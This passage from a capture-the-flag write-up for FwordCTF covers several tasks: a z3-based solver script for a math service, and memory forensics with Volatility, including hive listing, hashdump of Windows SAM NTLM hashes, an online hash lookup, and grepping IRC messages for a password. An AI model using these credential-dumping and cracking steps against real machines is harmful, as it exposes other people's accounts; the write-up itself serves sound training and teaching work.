After doing this, I found the square shaped image.
And the flag was in the part of the image that was hidden by the circule. But the actual image was small. So after failing to retrieve a bigger image by tweaking the URL, I asked Google for a website that retrieve the Instagram profile image in HD. And that's how I found [http://izuum.com/index.php](http://izuum.com/index.php).
I used the Instagram username `wokaihwokomaskustermann` to search for that user.
And the website got me a great HD image.
Full image:
So the flag is : ```Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}```___
## Secret Array
**Category:** Misc**Points:** 283**Author:** KOOLI**Description:**
> ``nc secretarray.fword.wtf 1337``
**Hint:**
>(no hint)
### Write-up
When we execute that command we will get the following output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:```
The first thing I thought about was to find how much requests do we need to send to the service to be able to solve the problem and then we need to find how we can do this with coding.
For the problem resolution, I though about an array of 4 elements "a0 a1 a2 a3".
To get the values of each element using sum, we need 4 operations as follow:
```a0 + a1 = x1a1 + a2 = x2a2 + a3 = x3a3 + a0 = x4```
Where x1, x2, x3, x4 are known since the service is returning the sum value of the 2 indexes's values.
I tried to solve this issue as a system of 4 equations using substitution but I failed since I found 2 unknown elements instead of 1. But hopefully my friend Likkrid gave me a better solution which is solving this system using subtraction and it was successful to identify the 4 element's values.
Now, coming to the implementation of this solution, also my friend Likkrid recommended me the usage of Z3Py Python's library to solve the system of 1337 equations after retrieving the 1337 sums from ``a0 + a1 = x1`` until ``a1336 + a0 = x1337``.
The python script is available here for download: [solver.py](resources/misc-283-secret_array/solver.py).
```python#!/usr/bin/python
from pwn import *import z3import time
r = remote('secretarray.fword.wtf', 1337)s=z3.Solver()print r.recv(1024).decode()for i in range(0,1337): print i if i<1336: #print "send",str(i)+" "+str(i+1) r.send(str(i)+" "+str(i+1)+"\n") time.sleep(0.3) result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") exec("a"+str(i+1)+" = z3.Int('a"+str(i+1)+"')") #print "a"+str(i)+"+a"+str(i+1)+"=="+(result if result else "0") s.add(eval("a"+str(i))+eval("a"+str(i+1))==(result if result else "0")) else: #print "send",str(i)+" 0" r.send(str(i)+" 0\n") result=r.recv(1024).strip() exec("a"+str(i)+" = z3.Int('a"+str(i)+"')") #print "a"+str(i)+"+a0=="+(result if result else "0") s.add(eval("a"+str(i))+a0==(result if result else "0"))
s.check()#print smodel=s.model()results="DONE"#print "model",s.model()for i in range(0,1337): for j in model: if str(j)=="a"+str(i): #print "a"+str(i),str(int(s.model()[j].as_string())) results=results+" "+str(int(s.model()[j].as_string())) break
print results.strip()print "length of the solved system:",len(model)print "length of the array's results:",(len(results.strip().split(" "))-1)r.sendline(results.strip())time.sleep(1)print r.recv(1024)time.sleep(1)print r.recv(1024)```
There was only one trick that took too much time for me since I was used to work with the socket module, when I switched to use the pwn library I though that I don't need to make a time.sleep() for some milliseconds between the send and the receive methods but I was wrong because I executed the script from my VPS and the execution was fast and then if I don't wait for few milliseconds, the response will be empty which is wrong because the sum of two values can't be empty.
Execution:
```pip install z3python resources/misc-283-secret_array/solver.py```
Output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:
DONE 882074565321339936426015270379 237041015714489603612749676508 735942283250970902894619135353 769570036365545998247560462307 358093366869922753604064191300 846812717969782586805050398135 771379174273997375923375988136 845526135789468431659086245474 477791916351688485715808163421 930800022720554491827637381853 999680091758310368643053583247 185945425567046216916616774069 548193655183144633560074943563 163752110560858844552559735982 809842278452854024213944401092 63126344576603515440990266173 536350367473602539710322449253 525462551993088197896204616527 26019307559619217233165889413 678246541222209847683426708404 167054566499878283767854112298 916863491983612669627714467522 866512119618168022431575287281 770282663120238719909449412558 17698011785127051934722174676 506436276178844828479355460241 364507445837389480829388693850 478243457358118782184551240191 362975449994850307878734077277 79416040862228597622670674493 699077959961321297097958555541 130680171721974811938831602523 722515733623057407531977068408 107110915537337340060758847050 871110456327373561058599133909 611700338371288519255305243723 112673304125406355771774003309 762357586707245483109415383542 473037716896162891865834111648 740988990443440669824613608664 132974380384295544030922942914 346655317633097728910436731104 614175703481719543947471337448 940327256050181059304565050028 92945322674000115891190969652 756956538466667341515036830304 977968684457121762228769933357 598942068709425688550258832779 324906743907409720909632527601 909377161189362510289040596381 593442764175779833425616880670 561516492415921938020525334341 299753763953982600112038009288 197202020200224694235915672845 37794227392414548309250547977 281027881570422623221283625822 799204368907457904727116559248 715428685855001604030787325645 309449422141621428318215223454 779861727503038071427138491191 230630241891245494630102199976 9049080132892488645574763422 786762453386287856472273846665 137406037157133043239611688883 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822375043495619761944861519972 663938619063978495874534834345 40184497331922613496528896982 96651341380806265055474742874 569211944761523188530335729078 971491789720261837699473149857 254033039225053644540777318794 371156987971994144222102427298 552233116200014493678918980023 295459004571278043471775113460 950978351365370226190276337993 981972113953125635095554684819 613392171688095343155266810068 988275256454056707386297496228 919910555715929711990294816395 331680416523012150626813995335 963232569635654894073660210351 378461391306022088434725883167 316219840943194091938654131212 157512800707788303899932151960 793462598722149854189459084942 256099570333236145647875306720 238058337137510317129380168362 242947508893064843775147012487 355320875075702456560544935910 471720331065228718591151571789 856169934005128050600519143797 762370916267869447841214329775 993497962482866211028442298733 518561856792546361582760006136 934075525612376978469662883465 160688877960374040067371985843 973542555968500011203270234868 88513080626526601524818265680 833399114577064164200268563963 232543573511967780353703533171 455181386149195687299712226144 308446550861526289691728628362 99683459694801711581944899388 222369143008725108925087195114 226219048896373494184984854648 817515322505071092635037120986 899693382866294023980688240950 731109737363403999778146313080 11585470531432868034409927654 136721108925187832179663343748 218878454138049014632641644208 45104610801363569584573818024 851638154958299987223574979535 935787731071096314044356630936 199344643203186247839062040378 350298114459809030350407362547 651368717836769007386669135246 13028300112227873068369382521 649389926758277386390477590247 716694316274712481603063809528 767497805573565697452081904246 859594127311603453471419870328 276718585843138550045242482694 270621350223690805039458346945 882851846997715676030915445671 147005932316573640625222262011 962516221675048249633600651629 142999206798927755202714417658 338200118833517293913753254916 353098332975450794695193115 639478587546889035706931903789 366145572990290817504253243808 236859816134096904531980956369 620301594115009808900583045657 564535132847643655642550460388 811156700605859198651865779342 108904490543477846116268259176 274369000018543911083971966870 211342207540341813623129073575 836568815727517896518486764181 884348990498573834839211617570 593425938551729097391923014648 411037282463745057638164724823 600542128338055767718737414543 619640229138641535067155175976 731138028985627775699092095137 246193990179001270376162138712 208483119190770132573196314847 60591061497789870188479749934 436255610130837936459965578659 219743496983603140147945414467 744434158934620122833172608058 297791851944965194060885237858 848171872645101850536943202147 691230917428178059150656826222 331920949616804993977431744890 188990626823473771669970835999 853999549222615574184160676988 426581830899883056330939694164 545850379624256644845417041609 206898714949998847882049316749 600922036266170588860811406626 445002578839372149073202934779 755505079281341703455242086034 554606046321292646018328308518 491410644121221167022973999466 886696421014164059657453156938 576684874184284920761216930687 28114959744965733022489049473 659371544578249015018260378126 686436413399263391028400347672 771582766634625860183378734250 43329803301088231785420738668 789390880428603995835220996975 95843761289134737380026726699 607657307608983959987793684791 763121036629216863027308575507 695752976863908234000425941210 183999126076091342937557825072 186793675528356887821897344540 631935025165038205571818923602 383364014052929057642436213844 621462173523727407826051431420 700856283608651796441558150148 679621261248938156795682471846 600889020839385789386043404419 703498046477358151065837099150 314309051704298644258317809945 967436130406043633721122296572 676212954323956018309058930527 4547530505855250748483917847 100983845147693432085059458528 339251519149008894109778821343 934807106956215360626560110582 594674598731630275002896465473 770757954082647400726968112798 830319874196252178510311404372 377307643453627105959902092172 206638680410448733374377548806 543720335249845648279763661454 575989636871937725494011151161 993996327375586192236148860884 577478486887548168530074351040 114525249759655970691246808929 212383832894687559057036388929 527304494711982532132925552980 575980820709482598803802344541 534140669749849341436494824420 498999534125566963963524431887 660323975112393443004221199345 136629325692913249617390911371 856225685842457891207581210261 382236217025931865524266457446 916981812634971935362102424803 650983817935982166075501250565 520076012018861617944862841325 568070785815492613119797767124 929426002688656730578655495848 388641364576174208975578118486 754288805782329904072629271858 7539529998150599043771503290 515315771436238056833360898841 635826131846738367904626878837 129977530055197841755264624480 770035583613709893150835726905 95291150541467317217156613056 896815536680583446585133872931 688305357073982731630616328867 820844341017741039208950587295 104243593710255300826694436541 770267178982348671718915014437 524817130634272459917249808264 881596592942006529423155080660 460809554977471557874987038531 552203073934971154805289618652 285558583844299518782868746962 771687664263005438473545038546 309699046605439403872809056495 87421934777919000650262780503 460648873139398989670353918314 303755726335676951211719118271 642134713029850585247460120104 994587367824415577394910764431 610301661262474430002645397045 581907927596193338287675038489 263071432306564437305700089331 1323602499525101762283093077 238040809388633067114571632443 750262249497683926277729712036length of the solved system: 1337length of the array's results: 1337
Congratualtions! You guessed my secret array, here is your flag: FwordCTF{it_s_all_about_the_math}```
So, the flag is ```FwordCTF{it_s_all_about_the_math}```___
## Memory
**Category:** Forensics**Points:** 73**Author:** SemahBA & KOOLI**Description:**
> Flag is : FwordCTF{computername_user_password}
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
In this task, we have a memory dump that we need to analyze in order to get the flag according to what the author needs.
Before starting this task, we have to extract the memory dump from the compressed file using `7z e foren.7z` and we will work on the extracted file `foren.raw`.
The first thing that we need to do when analyzing an unknown memory dump is to identify its profile.
```volatility -f foren.raw imageinfo```
Output:
```Volatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/root/fword/foren.raw) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c48120L Number of Processors : 4 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c4a000L KPCR for CPU 1 : 0xfffff88002f00000L KPCR for CPU 2 : 0xfffff88002f7d000L KPCR for CPU 3 : 0xfffff880009af000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-08-26 09:22:27 UTC+0000 Image local date and time : 2020-08-26 02:22:27 -0700```
There was multiple suggested profiles but I picked one of them which is `Win7SP0x64`.
Personally, I followed this tutorial for the first part of this task to identify the hostname just to avoid taking the full credits for solving this task: [Volatility/Retrieve-hostname](https://www.aldeid.com/wiki/Volatility/Retrieve-hostname).
By following the previous tutorial, we need to list the hives of that memory dump in order to use the right offset to extract the hostname.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
As we can see the `\REGISTRY\MACHINE\SYSTEM` is located on `0xfffff8a000024010`.
We will use the Virtual address offset as a reference to extract the registry key value that contains the machine hostname.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName'```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \REGISTRY\MACHINE\SYSTEMKey name: ComputerName (S)Last updated: 2020-08-25 16:20:54 UTC+0000
Subkeys:
Values:REG_SZ : (S) mnmsrvcREG_SZ ComputerName : (S) FORENWARMUP```
So, the hostname is `FORENWARMUP`.
But we still have 2 other parts to extract which are the username and his password.
And also for the next steps, I followed the following tutorial to do this: [Volatility/Retrieve-password](https://www.aldeid.com/wiki/Volatility/Retrieve-password)
And the missing step was obvious because the user's hashes are stored in the `\SystemRoot\System32\Config\SAM` file.
```volatility -f foren.raw --profile=Win7SP0x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a0014da410```
Output:
```Volatility Foundation Volatility Framework 2.6Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::fwordCTF:1000:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:514fab8ac8174851bfc79d9a205a939f:::SBA_AK:1004:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::```
And that's how we get the usernames and their password's NTLM hash that need to be cracked.
The first time, I though the user that we are searching for is `fwordCTF`. So, I cracked his password using [https://crackstation.net/](https://crackstation.net/).
Input: `a9fdfa038c4b75ebc76dc855dd74f0da`
So, the password is `password123`.
But since the flag ``FwordCTF{FORENWARMUP_fwordCTF_password123}`` doesn't work, I double remembered that in the output of ``volatility -f foren.raw --profile=Win7SP0x64 hivelist``, there was the only available user that is located under `\??\C:\Users\` is `SBA_AK` which could be the real user that we are looking for because SBA and AK are the acronyms of the 2 authors of this task. And since both the users `fwordCTF` and `SBA_AK` have the same NTLM hash, I tried the following flag and it worked.
So, the flag is ```FwordCTF{FORENWARMUP_SBA_AK_password123}```___
## Memory 2
**Category:** Forensics**Points:** 379**Author:** Semah BA & KOOLI**Description:**
> I had a secret conversation with my friend on internet. On which channel were we chatting?
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the channel where the author had a secret chat conversation with his friend.
This reminded me to inspect the processes list and to check which process seems to be used for chatting (obviously a web browser) and then to retrieve the channel from there.
I found a useful tutorial for few commands that I needed to list the captured processes: [First steps to volatile memory analysis](https://medium.com/@zemelusa/first-steps-to-volatile-memory-analysis-dcbd4d2d56a1).
I tried the following command.
```volatility -f foren.raw --profile=Win7SP0x64 pstree```
Output:
```Volatility Foundation Volatility Framework 2.6Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa801af105c0:explorer.exe 1000 1332 31 896 2020-08-26 09:11:21 UTC+0000. 0xfffffa801b024780:WzPreloader.ex 2264 1000 6 123 2020-08-26 09:11:21 UTC+0000. 0xfffffa801adeaa40:mspaint.exe 1044 1000 7 133 2020-08-26 09:20:28 UTC+0000. 0xfffffa801aca4060:chrome.exe 3700 1000 33 986 2020-08-26 09:12:48 UTC+0000.. 0xfffffa801af86b00:chrome.exe 2560 3700 13 337 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019ac0640:chrome.exe 3992 3700 14 216 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8018e55b00:chrome.exe 3304 3700 8 231 2020-08-26 09:12:50 UTC+0000.. 0xfffffa8019b5b5f0:chrome.exe 540 3700 13 171 2020-08-26 09:13:21 UTC+0000.. 0xfffffa801ab9c750:chrome.exe 3752 3700 8 93 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019b60060:chrome.exe 3816 3700 13 195 2020-08-26 09:13:22 UTC+0000.. 0xfffffa8019a5b360:chrome.exe 3528 3700 11 209 2020-08-26 09:12:55 UTC+0000.. 0xfffffa8019b2ab00:chrome.exe 616 3700 26 332 2020-08-26 09:13:21 UTC+0000.. 0xfffffa8019b6fb00:chrome.exe 2516 3700 17 294 2020-08-26 09:13:32 UTC+0000. 0xfffffa8019bf7060:DumpIt.exe 1764 1000 2 52 2020-08-26 09:22:18 UTC+0000 0xfffffa801a74db00:wininit.exe 388 348 3 84 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a74e7e0:services.exe 488 388 8 232 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801aaba450:svchost.exe 3308 488 14 339 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801abff060:svchost.exe 1240 488 18 311 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801aa64510:svchost.exe 900 488 38 1047 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019bf2060:wuauclt.exe 1876 900 3 98 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8019bc0b00:svchost.exe 3284 488 7 110 2020-08-26 09:20:28 UTC+0000.. 0xfffffa801a9e6b00:svchost.exe 680 488 8 298 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801a976b00:mscorsvw.exe 4012 488 6 93 2020-08-26 09:12:30 UTC+0000.. 0xfffffa801b3211e0:svchost.exe 2996 488 10 366 2020-08-26 09:11:29 UTC+0000.. 0xfffffa801ab61b00:svchost.exe 1336 488 10 147 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aecf5f0:taskhost.exe 2036 488 10 234 2020-08-26 09:11:20 UTC+0000.. 0xfffffa8018e10b00:spoolsv.exe 1212 488 14 299 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ab66b00:svchost.exe 1096 488 16 480 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ae2e060:sppsvc.exe 1360 488 4 151 2020-08-26 09:10:34 UTC+0000.. 0xfffffa8018e4f4f0:svchost.exe 1748 488 7 104 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801a9bb060:svchost.exe 600 488 11 367 2020-08-26 09:10:27 UTC+0000... 0xfffffa801a5f95f0:WmiPrvSE.exe 952 600 5 120 2020-08-26 09:11:30 UTC+0000.. 0xfffffa801ae824b0:mscorsvw.exe 4052 488 6 83 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801aa4a860:svchost.exe 864 488 22 574 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801b20fb00:wmpnetwk.exe 2768 488 14 494 2020-08-26 09:11:28 UTC+0000.. 0xfffffa801ac9bb00:svchost.exe 1388 488 22 340 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aa34b00:svchost.exe 808 488 26 533 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019f45870:dwm.exe 1604 808 3 80 2020-08-26 09:11:20 UTC+0000.. 0xfffffa801a9ecb00:svchost.exe 756 488 23 588 2020-08-26 09:10:27 UTC+0000... 0xfffffa801aa879b0:audiodg.exe 968 756 8 148 2020-08-26 09:10:28 UTC+0000.. 0xfffffa801aec4480:SearchIndexer. 2644 488 13 711 2020-08-26 09:11:27 UTC+0000.. 0xfffffa801aab6410:TrustedInstall 1020 488 5 147 2020-08-26 09:10:28 UTC+0000. 0xfffffa801a5f3b00:lsass.exe 496 388 10 752 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a79a550:lsm.exe 504 388 10 147 2020-08-26 09:10:27 UTC+0000 0xfffffa801a738060:csrss.exe 356 348 10 459 2020-08-26 09:10:26 UTC+0000 0xfffffa8018da8040:System 4 0 103 585 2020-08-26 09:10:17 UTC+0000. 0xfffffa8019ebdb00:smss.exe 264 4 2 32 2020-08-26 09:10:17 UTC+0000 0xfffffa801a72fa00:csrss.exe 404 380 9 384 2020-08-26 09:10:27 UTC+0000. 0xfffffa801b2ad060:conhost.exe 2592 404 2 56 2020-08-26 09:22:18 UTC+0000 0xfffffa801a763930:winlogon.exe 448 380 5 122 2020-08-26 09:10:27 UTC+0000 0xfffffa801b01d480:FAHWindow64.ex 2252 2240 2 77 2020-08-26 09:11:21 UTC+0000```
The only obvious process name that could be used for chatting is the Chrome browser (chrome.exe).
There was an interesting tutorial that is important to extract the web browser's history using Volatility plugin: [Volatility Plugin β Chrome History](https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/).
I downloaded the plugin from github.
```git clone https://github.com/superponible/volatility-plugins```
And I used it to extract the browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
Apart Facebook, Twitter, Fword platform, Youtube and the Fword's discord's public channel, there was 2 websites that could be used for a secret chat: `https://gofile.io/d/k2RkIS` (Gofile used to share files) and `https://webchat.freenode.net/` (Kiwi IRC - The web IRC client which is an IRC web client used for IRC chatting).
Personally, when I saw the Gofile website I forget to follow the IRC track and I will discuss about this in the next task `Memory 3` because that file is intended for that task and we can't solve it or validate its flag before seeing the flag of the actual task `Memory 2`. And I figured out that I needed to catch for any data related to the IRC chat that occurred in the Chrome web browser. But since I wasn't be able to find a clean method to do that, I used the `strings` command and I searched for any keyword related to IRC.
```strings foren.raw > /tmp/foen_strings.loggrep -i "freenode " /tmp/foen_strings.log```
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
For the people that know the IRC commands, `/PRIVMSG` is used to join a channel using the channel name. So, the channel name is `#FwordCTF{top_secret_channel}` (the # is mandatory in IRC channel names).
This task could be easily be solved using `strings foren.raw | grep FwordCTF`. But this is not a good idea because it's useless to solve a task using such method since it doesn't explain the real purpose of the task.
So, the flag is ```FwordCTF{top_secret_channel}```.___
## Memory 3
**Category:** Forensics**Points:** 405**Author:** Semah BA & KOOLI**Description:**
> He sent me a secret file , can you recover it ?
> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory` and the last steps of the task `Memory 2`, in this task we have to find the file that the author's friend sent to him.
We already know that a file was shared on Gofile according to the web browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
The file that we are searching for was available in this web page: [https://gofile.io/d/k2RkIS](https://gofile.io/d/k2RkIS).
That file was an compressed and encrypted .zip file
I downloaded the file (available here: [important.zip](resources/forensics-405-memory_3/important.zip))
And since in the description, the author asked to avoid brute forcing the password, I knew that he was talking about the .zip file.
Personally, since the `Memory` tasks are chained (the next task will be visible only if you solve the actual task), I was able to solve the `Memory 3` task (without seeing its description) before the `Memory 2` task and even if the flag of the `Memory 2` task was there in the output of the ``strings`` command (see the previous task), I don't know why I ignored it and I was focused on a way to extract the flag from the compressed encrypted .zip file and I figured out that the author was talking with his friend on IRC so I checked again the conversation adn I found that they shared the file's password there.
But without seeing the `Memory 3`'s description, I didn't know that brute forcing the .zip's password can't help me because I tried it and I failed. And from this moment, I asked myself why can't I try to use the `strings` command to search for the .zip's password there ? And since I know that the password will not be obvious (it will not contain the word `FwordCTF`), I tried the following commands.
```strings foren.raw > /tmp/foen_strings.loggrep -i "password " /tmp/foen_strings.log```
And I found the common results as the previous task `Memory 2`.
Output:
